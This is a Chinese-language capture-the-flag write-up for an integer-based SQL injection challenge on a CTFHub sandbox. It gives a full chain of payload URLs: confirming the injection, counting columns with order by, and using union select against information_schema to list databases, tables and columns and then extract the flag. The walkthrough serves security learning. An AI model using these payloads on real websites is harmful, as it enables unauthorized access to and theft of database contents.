1.sql注入的题首先判断是否可注入,注入的类型是什么。
根据以上方法试一下,可知这题是整数型注入(也可以直接从题目看出来)
题目提示输入一个1,提交后有回显,注意看我们的url
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1
然后构造payload
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1 and 1=1
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1 and 1=2
当?id=1 and 1=1
时,回显正常,
相反,当?id=1 and 1=2
时,回显不正常
因为and语句能正常执行,就说明此处存在sql注入点。
2.猜字段数
用order by x
(x为数字)
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1 order by 1
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1 order by 2
http://challenge-b50a90e9111f309d.sandbox.ctfhub.com:10800/?id=1 order by 3
3.查询SQL注入点
使用联合查询(union select)在判断sql注入的注入点(就是判断我们的sql注入语句到底是注入到哪个字段)。在我们正常使用union select
的时候(如?id=1 union select 1,2),代码会成功执行,但是页面并不回显union select的结果,这是由于代码只返回第一条结果,所以union select的结果并没有输出到页面。这时我们可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1,而数据库中又没有id=-1的数据,所以就会返回union select的结果
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,2
注意这里回显已经不正常了,正常情况下我们的回显应该是
ID:1
Data:ctfhub
而我们现在回显的数据是
ID:1
Data:2
意味着在union select1,2中,2的位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名
4.查询数据库库名
依然是使用联合查询union select来查询数据库名,我们尝试在2的位置查询当前
数据库名(使用database()函数)
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,database()
此时页面会不出所料的成功返回数据库信息
可以看到当前数据库的名字就叫sqli,由数据库版本可知他是MySQL的一个分支
接下来获取所有
数据库库名
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
5.查询表名
在获取数据库库名后,接下来就要查询表名
select table_name from information_schema.tables where table_schema='sqli' limit 0,1;
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1;
得到数据库表名:news
修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1;
至此,数据库的第二个表名为flag已得到,但是这样我们不知道该数据库到底还有多少个表,很不方便。我们可以用第二种方法来一次性获取所有表名
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6.获取字段名
以flag表为例,一次性获取所有字段名
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
7.获取数据
当获取了库名,表名以及字段名后,我们就可以构造sql语句查询数据库的数据
以flag表为例,一次性获取所有数据:
http://challenge-75ca472f0ae644c5.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(flag) from sqli.flag